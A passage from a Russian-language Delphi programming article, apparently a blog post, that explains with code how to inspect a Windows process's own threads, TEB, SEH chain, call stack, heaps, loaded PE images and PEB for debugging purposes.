ThreadStartAddress: Pointer;
begin
// Делаем снимок нитей в системе
hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, GetCurrentProcessId);
if hSnap <> INVALID_HANDLE_VALUE then
try
ThreadEntry.dwSize := SizeOf(TThreadEntry32);
if Thread32First(hSnap, ThreadEntry) then
repeat
if ThreadEntry.th32OwnerProcessID <> GetCurrentProcessId then Continue;
Writeln('ThreadID: ', ThreadEntry.th32ThreadID);
// Открываем нить
hThread := OpenThread(THREAD_GET_CONTEXT or
THREAD_SUSPEND_RESUME or THREAD_QUERY_INFORMATION,
False, ThreadEntry.th32ThreadID);
if hThread <> 0 then
try
// Получаем адрес ThreadProc()
if NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress,
@ThreadStartAddress, SizeOf(ThreadStartAddress), nil) = STATUS_SUCCESS then
Writeln('ThreadProcAddr: ', IntToHex(NativeUInt(ThreadStartAddress), 1));
// Получаем информацию по нити
if NtQueryInformationThread(hThread, ThreadBasicInformation, @TBI,
SizeOf(TThreadBasicInformation), nil) = STATUS_SUCCESS then
begin
Writeln('Thread Environment Block (TEB) Addr: ',
IntToHex(NativeUInt(TBI.TebBaseAddress), 1));
// Читаем из удаленного адресного пространства
// TIB (Thread Information Block) открытой нити
if ReadProcessMemory(GetCurrentProcess,
TBI.TebBaseAddress, @TIB, SizeOf(NT_TIB),
lpNumberOfBytesRead) then
begin
Writeln('Thread StackBase Addr: ',
IntToHex(NativeUInt(TIB.StackBase), 1));
Writeln('Thread StackLimit Addr: ',
IntToHex(NativeUInt(TIB.StackLimit), 1));
end;
end;
finally
CloseHandle(hThread);
end;
until not Thread32Next(hSnap, ThreadEntry);
finally
CloseHandle(hSnap);
end;
Readln;
end.
```
По шагам:
1. При помощи CreateToolhelp32Snapshot/Thread32First/Thread32Next получаем список активных потоков у нашего приложения.
2. Для получения более подробной информации потребуется хендл потока, который получаем посредством вызова OpenThread.
3. При помощи NtQueryInformationThread получаем адрес процедуры потока, с которой он начал работу, и базовую информацию о потоке в виде структуры TThreadBasicInformation.
4. Из этой структуры нас интересует только одно поле – TebBaseAddress, которое содержит адрес блока окружения потока, т.н. TEB (Thread Environment Block).
5. Посредством вызова ReadProcessMemory (хотя для своего приложения это и избыточно) зачитываем данные по адресу TEB, а именно самый первый ее параметр, представляющий из себя структуру NT\_TIB.
Декларация NT\_TIB выглядит так:
```
PNT_TIB = ^_NT_TIB;
_NT_TIB = record
ExceptionList: Pointer;
StackBase,
StackLimit,
SubSystemTib: Pointer;
case Integer of
0: (
FiberData: Pointer
);
1: (
Version: ULONG;
ArbitraryUserPointer: Pointer;
Self: PNT_TIB;
)
end;
NT_TIB = _NT_TIB;
PPNT_TIB = ^PNT_TIB;
```
Ну или вот так, если описывать чуть подробнее:
* ExceptionList – в 32-битном процессе указатель на адрес текущего SEH фрейма (структуру EXCEPTION\_REGISTRATION). Основываясь на данной информации, мы будем раскручивать всю цепочку SEH фреймов.
* Если же TEB принадлежит 64-битному потоку, работающего в 32-битном приложении, то данное поле будет указывать на поле ExceptionList своего 32-битного аналога.
* В 64-битном процессе данное поле всегда обнилено, т.к. для 64 бит взамен механизма SEH работает немного другой механизм.
* StackBase – база стека. Адрес от которого стек начинает расти в направлении StackLimit.
* StackLimit – текущая верхушка стека.
* ArbitraryUserPointer – что-то наподобие свободного TLS слота. Грубо говоря переменная принадлежащая потоку, значение которой может произвольно изменятся самим программистом для собственных нужд.
* Self — параметр, содержащий адрес TEB (т.е. самого себя)
Остальные поля не нужны.
Ну, впрочем, как – не нужны?
Нужны, конечно, но пока что они для нас избыточны.
Кстати, вот ссылка, где вы сможете увидеть слегка устаревшее описание данной структуры: [Thread Environment Block](http://en.wikipedia.org/wiki/Win32_Thread_Information_Block).
Данный код отобразит нам следующую картинку:
А вот так это будет видно в VMMap.
На картинке видно что VMMap не отобразила информацию о TEB.
Кстати, часть функций и структур из приведенного выше кода не задекларированы в стандартных исходниках Delphi, их декларацию вы сможете увидеть в [демо-примерах](http://rouse.drkb.ru/blog/pmm2.zip), идущих в составе данной статьи. Но это не означает того, что они недокументированы в MSDN :)
Если мы захотим работать с TEB своего потока, то код очень сильно упростится из-за того что не нужно использовать функции ToolHelp32.dll, а достаточно использовать сегментный регистр FS (или GS для х64).
К примеру, очень часто встречается такая функция для получения адреса TEB:
```
function GetCurrentTEB: NativeUInt;
asm
{$IFDEF WIN64}
// mov RAX, qword ptr GS:[30h]
// реализованно через машкоды, ввиду неверной генерации кода инструкции 64-битным компилятором
DB $65, $48, $8B, $04, $25, $30, 0, 0, 0
// ну либо вот так, чуть менее оптимально
mov RAX, qword ptr GS:[abs $30]
{$ELSE}
mov EAX, FS:[18h]
{$ENDIF}
end;
```
В данном случае происходит доступ к параметру NtTIB.Self структуры TEB, который расположен по смещению 0x18 (или 0x30 в случае 64-битного TEB) от ее начала.
Впрочем, продолжим…
Часть данных получили, но это не вся информация доступная нам.
На стеке каждого потока расположены SEH фреймы, которые генерируются автоматом при входе в блок try..finally/except, а также стек вызовов процедур. Было бы хорошо иметь эти данные на руках и выводить их в более наглядном виде – с привязкой к региону.
Раскруткой SEH фреймов у нас будет заниматься вот такая простенькая процедура:
```
procedure GetThreadSEHFrames(InitialAddr: Pointer);
type
EXCEPTION_REGISTRATION = record
prev, handler: Pointer;
end;
var
ER: EXCEPTION_REGISTRATION;
lpNumberOfBytesRead: NativeUInt;
begin
while ReadProcessMemory(GetCurrentProcess, InitialAddr, @ER,
SizeOf(EXCEPTION_REGISTRATION), lpNumberOfBytesRead) do
begin
Writeln('SEH Frame at Addr: ',
IntToHex(NativeUInt(InitialAddr), 1), ', handler at addr: ',
IntToHex(NativeUInt(ER.handler), 1));
InitialAddr := ER.prev;
if DWORD(InitialAddr) <= 0 then Break;
end;
end;
```
Получив в качестве параметра значение TEB.TIB.ExceptionList, которое указывает на первую структуру EXCEPTION\_REGISTRATION, она бежит по цепочке данных структур, ориентируясь на значение prev данной структуры, которое содержит адрес предыдущей структуры EXCEPTION\_REGISTRATION. А параметр handler содержит адрес обработчика исключения, если оно вдруг произойдет.
Выглядит все вот так:
Ну а CallStack будет получать следующая процедура:
```
procedure GetThreadCallStack(hThread: THandle);
var
StackFrame: TStackFrame;
ThreadContext: PContext;
MachineType: DWORD;
begin
// ThreadContext должен быть выровнен, поэтому используем VirtualAlloc
// которая автоматически выделит память выровненную по началу страницы
// в противном случае получим ERROR_NOACCESS (998)
ThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE);
try
ThreadContext^.ContextFlags := CONTEXT_FULL;
if not GetThreadContext(hThread, ThreadContext^) then
Exit;
ZeroMemory(@StackFrame, SizeOf(TStackFrame));
StackFrame.AddrPC.Mode := AddrModeFlat;
StackFrame.AddrStack.Mode := AddrModeFlat;
StackFrame.AddrFrame.Mode := AddrModeFlat;
StackFrame.AddrPC.Offset := ThreadContext.Eip;
StackFrame.AddrStack.Offset := ThreadContext.Esp;
StackFrame.AddrFrame.Offset := ThreadContext.Ebp;
MachineType := IMAGE_FILE_MACHINE_I386;
while True do
begin
if not StackWalk(MachineType, GetCurrentProcess, hThread, @StackFrame,
ThreadContext, nil, nil, nil, nil) then
Break;
if StackFrame.AddrPC.Offset <= 0 then Break;
Writeln('CallStack Frame Addr: ',
IntToHex(NativeUInt(StackFrame.AddrFrame.Offset), 1));
Writeln('CallStack Handler: ',
IntToHex(NativeUInt(StackFrame.AddrPC.Offset), 1));
Writeln('CallStack Stack: ',
IntToHex(NativeUInt(StackFrame.AddrStack.Offset), 1));
Writeln('CallStack Return: ',
IntToHex(NativeUInt(StackFrame.AddrReturn.Offset), 1));
end;
finally
VirtualFree(ThreadContext, SizeOf(TContext), MEM_FREE);
end;
end;
```
Правда, в отличие от отладчика Delphi, он будет выводить данные о процедурах, для которых сгенерирован стековый фрейм, остальные он пропустит.
За перечисление информации о стековых фреймах отвечает функция StackWalk (или StackWalk64).
Теперь нюанс: если мы применим данный код к самому себе, то он сможет оттрассировать только один стековый фрейм, после чего произойдет выход (можете проверить на [демоприложении](http://rouse.drkb.ru/blog/pmm2.zip)).
Произойдет это по следующей причине: для правильной трассировки функции StackWalk необходимо указать параметры текущего кадра стека (EBP и ESP/ RBP и RSP для х64) и, собственно, текущий адрес кода (регистр EIP или RIP для х64). Если мы будем брать эти данные с самого себя, то это произойдет в тот момент, когда бы вызвали функцию GetThreadContext, а раскручивать стек мы начнем уже после выхода из данной функции, где все три параметра станут, мягко говоря, не валидны. По этой причине сделать трассировку самого себя вызовом данной функции не получится.
Этот момент желательно учитывать…
На получении информации о потоках 32-битного процесса под 64-битной ОС включая 32 и 64-битные варианты я остановлюсь несколько позже, а сейчас…
#### 3. Собираем данные о кучах
Само по себе Delphi приложение, как правило, кучи не использует, это больше прерогатива С++ приложений, но все-таки кучи присутствуют и здесь. Обычно их создают и используют различные сторонние библиотеки для своих нужд.
Нюанс при получении данных о кучах в том, что элементов HeapEntry, из которых состоит каждая куча, может быть несколько тысяч, а второй нюанс в том, что функция Heap32Next при каждом вызове заново перестраивает весь список, создавая при этом достаточно чувствительную задержку (вплоть до десятков секунд).
Об этой неприятной особенности [я уже писал](http://habrahabr.ru/post/181588/).
Правда, в той статье код был достаточно примерный, просто чтобы продемонстрировать сам принцип, и нам он не подойдет, но вполне устроит его более причесанный вариант:
```
const
RTL_HEAP_BUSY = 1;
RTL_HEAP_SEGMENT = 2;
RTL_HEAP_SETTABLE_VALUE = $10;
RTL_HEAP_SETTABLE_FLAG1 = $20;
RTL_HEAP_SETTABLE_FLAG2 = $40;
RTL_HEAP_SETTABLE_FLAG3 = $80;
RTL_HEAP_SETTABLE_FLAGS = $E0;
RTL_HEAP_UNCOMMITTED_RANGE = $100;
RTL_HEAP_PROTECTED_ENTRY = $200;
RTL_HEAP_FIXED = (RTL_HEAP_BUSY or RTL_HEAP_SETTABLE_VALUE or
RTL_HEAP_SETTABLE_FLAG2 or RTL_HEAP_SETTABLE_FLAG3 or
RTL_HEAP_SETTABLE_FLAGS or RTL_HEAP_PROTECTED_ENTRY);
STATUS_SUCCESS = 0;
function CheckSmallBuff(Value: DWORD): Boolean;
const
STATUS_NO_MEMORY = $C0000017;
STATUS_BUFFER_TOO_SMALL = $C0000023;
begin
Result := (Value = STATUS_NO_MEMORY) or (Value = STATUS_BUFFER_TOO_SMALL);
end;
function FlagToStr(Value: DWORD): string;
begin
case Value of
LF32_FIXED: Result := 'LF32_FIXED';
LF32_FREE: Result := 'LF32_FREE';
LF32_MOVEABLE: Result := 'LF32_MOVEABLE';
else
Result := '';
end;
end;
var
I, A: Integer;
pDbgBuffer: PRtlDebugInformation;
pHeapInformation: PRtlHeapInformation;
pHeapEntry: PRtrHeapEntry;
dwAddr, dwLastSize: ULONG_PTR;
hit_seg_count: Integer;
BuffSize: NativeUInt;
begin
// Т.к. связка Heap32ListFirst, Heap32ListNext, Heap32First, Heap32Next
// работает достаточно медленно, из-за постоянного вызова
// RtlQueryProcessDebugInformation на каждой итерации, мы заменим ее вызов
// аналогичным кодом без ненужного дубляжа
// Создаем отладочный буфер
BuffSize := $400000;
pDbgBuffer := RtlCreateQueryDebugBuffer(BuffSize, False);
// Запрашиваем информацию по списку куч процесса
while CheckSmallBuff(RtlQueryProcessDebugInformation(GetCurrentProcessId,
RTL_QUERY_PROCESS_HEAP_SUMMARY or RTL_QUERY_PROCESS_HEAP_ENTRIES,
pDbgBuffer)) do
begin
// если размера буфера не хватает, увеличиваем...
RtlDestroyQueryDebugBuffer(pDbgBuffer);
BuffSize := BuffSize shl 1;
pDbgBuffer := RtlCreateQueryDebugBuffer(BuffSize, False);
end;
if pDbgBuffer <> nil then
try
// Запрашиваем информацию по списку куч процесса
if RtlQueryProcessDebugInformation(GetCurrentProcessId,
RTL_QUERY_PROCESS_HEAP_SUMMARY or RTL_QUERY_PROCESS_HEAP_ENTRIES,
pDbgBuffer) = STATUS_SUCCESS then
begin
// Получаем указатель на кучу по умолчанию
pHeapInformation := @pDbgBuffer^.Heaps^.Heaps[0];
// перечисляем все ее блоки...
for I := 0 to pDbgBuffer^.Heaps^.NumberOfHeaps - 1 do
begin
// начиная с самого первого
pHeapEntry := pHeapInformation^.Entries;
dwAddr := DWORD(pHeapEntry^.u.s2.FirstBlock) +
pHeapInformation^.EntryOverhead;
dwLastSize := 0;
A := 0;
while A < Integer(pHeapInformation^.NumberOfEntries) do
try
hit_seg_count := 0;
while (pHeapEntry^.Flags and RTL_HEAP_SEGMENT) = RTL_HEAP_SEGMENT do
begin
// Если блок отмечен флагом RTL_HEAP_SEGMENT,
// то рассчитываем новый адрес на основе EntryOverhead
dwAddr := DWORD(pHeapEntry^.u.s2.FirstBlock) +
pHeapInformation^.EntryOverhead;
Inc(pHeapEntry);
Inc(A);
Inc(hit_seg_count);
// проверка выхода за границы блоков
if A + hit_seg_count >=
Integer(pHeapInformation^.NumberOfEntries - 1) then
Continue;
end;
// Если блок не самый первый в сегменте, то текущий адрес блока равен,
// адресу предыдущего блока + размер предыдущего блока
if hit_seg_count = 0 then
Inc(dwAddr, dwLastSize);
// Выставляем флаги
if pHeapEntry^.Flags and RTL_HEAP_FIXED <> 0 then
pHeapEntry^.Flags := LF32_FIXED
else
if pHeapEntry^.Flags and RTL_HEAP_SETTABLE_FLAG1 <> 0 then
pHeapEntry^.Flags := LF32_MOVEABLE
else
if pHeapEntry^.Flags and RTL_HEAP_UNCOMMITTED_RANGE <> 0 then
pHeapEntry^.Flags := LF32_FREE;
if pHeapEntry^.Flags = 0 then
pHeapEntry^.Flags := LF32_FIXED;
// Выводим данные
Writeln('HeapID: ', I, ', entry addr: ', IntToHex(dwAddr, 8),
', size: ', IntToHex(pHeapEntry^.Size, 8), ' ', FlagToStr(pHeapEntry^.Flags));
// Запоминаем адрес последнего блока
dwLastSize := pHeapEntry^.Size;
// Переходим к следующему блоку
Inc(pHeapEntry);
finally
Inc(A);
end;
// Переходим к следующей куче
Inc(pHeapInformation);
end;
end;
finally
RtlDestroyQueryDebugBuffer(pDbgBuffer);
end;
Readln;
end.
```
Вкратце, при помощи вызова функций RtlQueryProcessDebugInformation, RtlCreateQueryDebugBuffer и RtlQueryProcessDebugInformation создается буфер, в котором содержится информация о текущих кучах процесса. После чего, зная структуру данных, хранящихся в нем, получаем эти данные в цикле.
pDbgBuffer^.Heaps — хранит в себе списки куч (аналог THeapList32), а сами записи хранятся в pDbgBuffer^.Heaps^.Heaps[N].Entries (аналог THeapEntry32).
Данный код выведет следующую информацию:
В принципе, кучи я использую при отладке достаточно редко, но иногда и эта информация может пригодиться.
#### 4. Собираем данные о загруженных PE файлах
Теперь пришла пора получить информацию о загруженных в адресное пространство процесса исполняемым файлах и библиотеках. Есть несколько способов сделать это (например, проанализировав PEB.LoaderData), но поступим проще.
Как правило, под PE файл выделяется отдельный регион (ну, по крайней мере, я еще не встречался с таким, чтобы PE образ был загружен без выравнивания по верхушке региона), поэтому, взяв за основу код из первой главы и проверив данные первой страницы региона на соответствие PE файлу, получим список всех загруженных библиотек и исполняемых файлов.
Следующий код детектирует наличие валидного PE файла по указанному адресу:
```
function CheckPEImage(hProcess: THandle;
ImageBase: Pointer; var IsPEImage64: Boolean): Boolean;
var
ReturnLength: NativeUInt;
IDH: TImageDosHeader;
NT: TImageNtHeaders;
begin
Result := False;
IsPEImage64 := False;
if not ReadProcessMemory(hProcess, ImageBase,
@IDH, SizeOf(TImageDosHeader), ReturnLength) then Exit;
if IDH.e_magic <> IMAGE_DOS_SIGNATURE then Exit;
ImageBase := Pointer(NativeInt(ImageBase) + IDH._lfanew);
if not ReadProcessMemory(hProcess, ImageBase,
@NT, SizeOf(TImageNtHeaders), ReturnLength) then Exit;
Result := NT.Signature = IMAGE_NT_SIGNATURE;
IsPEImage64 :=
(NT.FileHeader.Machine = IMAGE_FILE_MACHINE_IA64) or
(NT.FileHeader.Machine = IMAGE_FILE_MACHINE_ALPHA64) or
(NT.FileHeader.Machine = IMAGE_FILE_MACHINE_AMD64);
end;
```
Ну точнее как, он просто проверяет наличие ImageDosHeader и ImageNTHeader, ориентируясь на их сигнатуры. В принципе для 99% случаев этого достаточно.
Третий параметр просто информационный, он показывает является ли PE файл 64-битным.
Получить путь к загруженному файлу можно вызовом функции GetMappedFileName:
```
function GetFileAtAddr(hProcess: THandle; ImageBase: Pointer): string;
begin
SetLength(Result, MAX_PATH);
SetLength(Result,
GetMappedFileName(hProcess, ImageBase, @Result[1], MAX_PATH));
end;
```
А теперь попробуем посмотреть, что у нас загружается в обычное консольное приложение:
```
var
MBI: TMemoryBasicInformation;
dwLength: NativeUInt;
Address: PByte;
IsPEImage64: Boolean;
begin
Address := nil;
dwLength := SizeOf(TMemoryBasicInformation);
while VirtualQuery(Address, MBI, dwLength) <> 0 do
begin
if CheckPEImage(GetCurrentProcess, MBI.BaseAddress, IsPEImage64) then
begin
Write(IntToHex(NativeUInt(MBI.BaseAddress), 8), ': ',
GetFileAtAddr(GetCurrentProcess, MBI.BaseAddress));
if IsPEImage64 then
Writeln(' (x64)')
else
Writeln(' (x32)');
end;
Inc(Address, MBI.RegionSize);
end;
Readln;
end.
```
Получится вот такая картинка:
64-битная библиотека в 32-битном приложении? Да проще простого :)
Приложение у меня 32-битное, операционная система Windows 7 x64. Судя по тому что отображено на картинке, в нашем 32-битном процессе спокойно живут и работают четыре 64-битных библиотеки, впрочем, тут ничего не обычного — это так называемый Wow64 ([эмуляция Win32 в 64-разрядной Windows](http://modernlib.ru/books/russinovich_mark/1vnutrennee_ustroystvo_windows_gl_14/read_14/)).
Зато сразу становится понятно, откуда появляются 64-битные аналоги 32-битных потоков и куч.
Теперь, по-хорошему, нужно получить адреса секций каждого PE файла, чтобы можно было их показать более наглядно. Все секции выравниваются по адресу начала страницы и не пересекаются друг с другом.
Сделаем это вот таким кодом:
```
procedure GetInfoFromImage(const FileName: string; ImageBase: Pointer);
var
ImageInfo: TLoadedImage;
ImageSectionHeader: PImageSectionHeader;
I: Integer;
begin
if MapAndLoad(PAnsiChar(AnsiString(FileName)), nil, @ImageInfo, True, True) then
try
ImageSectionHeader := ImageInfo.Sections;
for I := 0 to Integer(ImageInfo.NumberOfSections) - 1 do
begin
Write(
IntToHex((NativeUInt(ImageBase) + ImageSectionHeader^.VirtualAddress), 8), ': ',
string(PAnsiChar(@ImageSectionHeader^.Name[0])));
if IsExecute(ImageSectionHeader^.Characteristics) then
Write(' Execute');
if IsWrite(ImageSectionHeader^.Characteristics) then
Write(' Writable');
Writeln;
Inc(ImageSectionHeader);
end;
finally
UnMapAndLoad(@ImageInfo);
end;
Writeln;
end;
```
Здесь используется вызов функции MapAndLoad, которая, помимо загрузки файла и проверки его заголовков, производит также выравнивание секций посредством вызова NtMapViewOfSection.
Для своего собственного процесса, конечно, вызов данной функции избыточен, т.к. требуемый PE файл и так уже подгружен в адресное пространство процесса, но т.к. нам потребуется более универсальный код для работы и с другими процессами, то воспользуемся именно этим подходом.
MapAndLoad хороша еще и тем, что позволяет 64-битным процессам подгружать 32-битные PE файлы (правда, это не работает для 32-битных процессов), и в дальнейшем эта возможность нам еще пригодится.
Суть кода такова: после выполнения MapAndLoad у нас будет на руках заполненная структура TLoadedImage, параметр Sections которой указывает на массив из структур TImageSectionHeader. У каждой из этих структур есть поле VirtualAddress, которое является смещением от адреса загрузки библиотеки. Сложив значение этого поля с hInstance библиотеки, мы получим адрес секции.
Функции IsExecute и IsWrite проверяют характеристики секции и возвращают True в том случае, если секция содержит исполняемый код (IsExecute) или данные, доступные для модификации (IsWrite). Выглядят они следующим образом:
```
function IsExecute(const Value: DWORD): Boolean;
begin
Result := False;
if (Value and IMAGE_SCN_CNT_CODE) =
IMAGE_SCN_CNT_CODE then Result := True;
if (Value and IMAGE_SCN_MEM_EXECUTE) =
IMAGE_SCN_MEM_EXECUTE then Result := True;
end;
function IsWrite(const Value: DWORD): Boolean;
begin
Result := False;
if (Value and IMAGE_SCN_CNT_UNINITIALIZED_DATA) =
IMAGE_SCN_CNT_UNINITIALIZED_DATA then Result := True;
if (Value and IMAGE_SCN_MEM_WRITE) = IMAGE_SCN_MEM_WRITE then
Result := True;
end;
```
В результате работы данного кода мы увидим следующее:
Правда, с этим кодом есть еще один небольшой нюанс.
Как видно было на предыдущей картинке, функция GetMappedFileName возвращает путь к загруженному файлу в следующем виде: "\Device\HarddiskVolume2\Windows\System32\wow64cpu.dll", а функция MapAndLoad требует нормализированного пути вида «C:\Windows\System32\wow64cpu.dll».
За приведение пути к привычному виду отвечает следующий код:
```
function NormalizePath(const Value: string): string;
const
OBJ_CASE_INSENSITIVE = $00000040;
STATUS_SUCCESS = 0;
FILE_SYNCHRONOUS_IO_NONALERT = $00000020;
FILE_READ_DATA = 1;
ObjectNameInformation = 1;
DriveNameSize = 4;
VolumeCount = 26;
DriveTotalSize = DriveNameSize * VolumeCount;
var
US: UNICODE_STRING;
OA: OBJECT_ATTRIBUTES;
IO: IO_STATUS_BLOCK;
hFile: THandle;
NTSTAT, dwReturn: DWORD;
ObjectNameInfo: TOBJECT_NAME_INFORMATION;
Buff, Volume: string;
I, Count, dwQueryLength: Integer;
lpQuery: array [0..MAX_PATH - 1] of Char;
AnsiResult: AnsiString;
begin
Result := Value;
// Подготавливаем параметры для вызова ZwOpenFile
RtlInitUnicodeString(@US, StringToOleStr(Value));
// Аналог макроса InitializeObjectAttributes
FillChar(OA, SizeOf(OBJECT_ATTRIBUTES), #0);
OA.Length := SizeOf(OBJECT_ATTRIBUTES);
OA.ObjectName := @US;
OA.Attributes := OBJ_CASE_INSENSITIVE;
// Функция ZwOpenFile спокойно открывает файлы, путь к которым представлен
// с использованием символьных ссылок, например:
// \SystemRoot\System32\ntdll.dll
// \??\C:\Windows\System32\ntdll.dll
// \Device\HarddiskVolume1\WINDOWS\system32\ntdll.dll
// Поэтому будем использовать ее для получения хендла
NTSTAT := ZwOpenFile(@hFile, FILE_READ_DATA or SYNCHRONIZE, @OA, @IO,
FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT);
if NTSTAT = STATUS_SUCCESS then
try
// Файл открыт, теперь смотрим его формализованный путь
NTSTAT := NtQueryObject(hFile, ObjectNameInformation,
@ObjectNameInfo, MAX_PATH * 2, @dwReturn);
if NTSTAT = STATUS_SUCCESS then
begin
SetLength(AnsiResult, MAX_PATH);
WideCharToMultiByte(CP_ACP, 0,
@ObjectNameInfo.Name.Buffer[ObjectNameInfo.Name.MaximumLength -
ObjectNameInfo.Name.Length {$IFDEF WIN64} + 4{$ENDIF}],
ObjectNameInfo.Name.Length, @AnsiResult[1],
MAX_PATH, nil, nil);
Result := string(PAnsiChar(AnsiResult));
// Путь на открытый через ZwOpenFile файл
// возвращается в виде \Device\HarddiskVolumeХ\бла-бла
// Осталось только его сопоставить с реальным диском
SetLength(Buff, DriveTotalSize);
Count := GetLogicalDriveStrings(DriveTotalSize, @Buff[1]) div DriveNameSize;
for I := 0 to Count - 1 do
begin
Volume := PChar(@Buff[(I * DriveNameSize) + 1]);
Volume[3] := #0;
// Преобразуем имя каждого диска в символьную ссылку и
// сравниваем с формализированным путем
QueryDosDevice(PChar(Volume), @lpQuery[0], MAX_PATH);
dwQueryLength := Length(string(lpQuery));
if Copy(Result, 1, dwQueryLength) = string(lpQuery) then
begin
Volume[3] := '\';
if lpQuery[dwQueryLength - 1] <> '\' then
Inc(dwQueryLength);
Delete(Result, 1, dwQueryLength);
Result := Volume + Result;
Break;
end;
end;
end;
finally
ZwClose(hFile);
end;
end;
```
Это уже достаточно старый код, постоянно применяемый мной для приведения к нормальному пути. Суть его в том чтобы из путей следующих видов:
* \SystemRoot\System32\ntdll.dll
* \??\C:\Windows\System32\ntdll.dll
* \Device\HarddiskVolume1\WINDOWS\system32\ntdll.dll
… получить фиксированный "\Device\HarddiskVolume1\WINDOWS\system32\ntdll.dll".
Это делается посредством вызова ZwOpenFile + NtQueryObject, после чего просто перебираются все диски в системе и для каждого вызывается QueryDosDevice, который возвращает путь в таком же формате. После чего пути сравниваются и (при совпадении) к переданному пути подставляется соответствующая метка диска.
Но это лирика.
Чтобы быть полностью довольными собой, желательно вывести так же директории PE файла, чтобы было понятно сразу, где искать, к примеру, таблицу импорта, где сидит UNWIND и т.п.
Это делается довольно простым кодом:
```
procedure EnumDirectoryes(ImageBase: Pointer; ImageInfo: TLoadedImage;
AddrStart, AddrEnd: NativeUInt);
const
DirectoryStr: array [0..14] of string =
('export', 'import', 'resource', 'exception',
'security', 'basereloc', 'debug', 'copyright',
'globalptr', 'tls', 'load_config', 'bound_import',
'iat', 'delay_import', 'com');
var
I: Integer;
dwDirSize: DWORD;
DirAddr: Pointer;
ReadlDirAddr: NativeUInt;
begin
for I := 0 to 14 do
begin
DirAddr := ImageDirectoryEntryToData(ImageInfo.MappedAddress,
True, I, dwDirSize);
if DirAddr = nil then Continue;
ReadlDirAddr := NativeUint(ImageBase) +
NativeUint(DirAddr) - NativeUint(ImageInfo.MappedAddress);
if (ReadlDirAddr >= AddrStart) and (ReadlDirAddr < AddrEnd) then
Writeln(
IntToHex(ReadlDirAddr, 8), ': directory "', DirectoryStr[I], '"');
end;
end;
```
Имея на руках структуру TLoadedImage, мы можем достаточно просто вызовом функции ImageDirectoryEntryToData получить её адрес, правда, он будет привязан к адресу, по которому отображен PE файл. Чтобы перевести его в реальный, нужно из текущего адреса вычесть адрес, по которому отображен образ, получив таким образом смещение от начала файла, и уже его сложить с ImageBase библиотеки.
В итоге получится вот такая картинка:
Сразу видно, что, к примеру, в секции ".text" библиотеки msctf.dll расположены директории импорта/экспорта/отложенного импорта и т.п.
Директория с ресурсами сидит в секции ".rsrc", да и релоки тоже там где положено, однако выпадает из схемы директория «bound\_import».
Да, действительно, данная директория не располагается непосредственно ни в одной из секций библиотеки, такова ее особенность. Она обычно идет сразу за PE заголовком (хотя иногда может встречаться и в промежутках между секциями). Данная директория служит для обеспечения механизма «привязанного импорта», который встречается в основном только у программ и библиотек, идущих в составе ОС.
Суть её в том, что все адреса импортируемых функций зашиваются в исполняемый файл еще на этапе компиляции, таким образом не нужно выполнять излишних телодвижений, бегая по таблице обычного импорта в поисках адреса функции.
Но и накладные расходы тоже соответствующие, ибо как только изменится любая из библиотек, заявленная в секции привязанного импорта, приложение должно быть перекомпилировано.
#### 5. Блок окружения процесса (PEB) + KUSER\_SHARED\_DATA
Имея на руках данные о потоках, кучах и исполняемых файлах, уже прямо сейчас можно сделать небольшую утилиту, которая выведет информацию в удобочитаемом виде, но что можно еще добавить?
Как минимум, крайне желательно получать и выводить информацию из блока окружения процесса.
Доступ к нему можно получить вызовом функции NtQueryInformationProcess с флагом ProcessBasicInformation (константа равная нулю). В этом случае на руках будет структура PROCESS\_BASIC\_INFORMATION, у которой поле PebBaseAddress и будет содержать адрес PEB.
Но это будет актуально, только если битности процессов (запрашивающего и о котором запрашиваем информацию) совпадут. Если мы вызовем данную функцию из 64-битного приложения применительно к 32-битному, то получим адрес 64-битного PEB, а не родного 32-битного.
Для того, чтобы из 64-битного приложения получить доступ к Wow64PEB (назовем его так), необходимо вызвать функцию NtQueryInformationProcess с параметром ProcessWow64Information (константа равная 26) и размером буфера равным SizeOf(ULONG\_PTR). В этом случае вместо структуры PROCESS\_BASIC\_INFORMATION функция вернет указатель на 32-битный PEB, из которого и будем зачитывать нужную нам информацию посредством ReadProcessMemory.
Что такое PEB?
Грубо говоря, это не сильно документированная структура, в большинстве своем предназначенная для хранения данных, используемых непосредственно системой. Но это не означает, что она не интересна разработчику обычного прикладного приложения. В частности данная структура содержит ряд интересных полей, таких как: флаг BeingDebugged, указывающий подключен ли к процессу отладчик; указатель на PEB\_LDR\_DATA, в которой содержится информация о загруженных в процесс модулях; и много остальной достаточно полезной для программиста информации, особенно для того, кто знает как ее применить в своих целях :)
Выглядит данная структура примерно вот так (декларация для Windows7 x86/64):
```
PPEB = ^TPEB;
TPEB = record
InheritedAddressSpace: BOOLEAN;
ReadImageFileExecOptions: BOOLEAN;
BeingDebugged: BOOLEAN;
BitField: BOOLEAN;
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsLegacyProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN SpareBits : 1;
}
Mutant: HANDLE;
ImageBaseAddress: PVOID;
LoaderData: PVOID;
ProcessParameters: PRTL_USER_PROCESS_PARAMETERS;
SubSystemData: PVOID;
ProcessHeap: PVOID;
FastPebLock: PRTLCriticalSection;
AtlThunkSListPtr: PVOID;
IFEOKey: PVOID;
EnvironmentUpdateCount: ULONG;
UserSharedInfoPtr: PVOID;
SystemReserved: ULONG;
AtlThunkSListPtr32: ULONG;
ApiSetMap: PVOID;
TlsExpansionCounter: ULONG;
TlsBitmap: PVOID;
TlsBitmapBits: array[0..1] of ULONG;
ReadOnlySharedMemoryBase: PVOID;
HotpatchInformation: PVOID;
ReadOnlyStaticServerData: PPVOID;
AnsiCodePageData: PVOID;
OemCodePageData: PVOID;
UnicodeCaseTableData: PVOID;
KeNumberOfProcessors: ULONG;
NtGlobalFlag: ULONG;
CriticalSectionTimeout: LARGE_INTEGER;
HeapSegmentReserve: SIZE_T;
HeapSegmentCommit: SIZE_T;
HeapDeCommitTotalFreeThreshold: SIZE_T;
HeapDeCommitFreeBlockThreshold: SIZE_T;
NumberOfHeaps: ULONG;
MaximumNumberOfHeaps: ULONG;
ProcessHeaps: PPVOID;
GdiSharedHandleTable: PVOID;
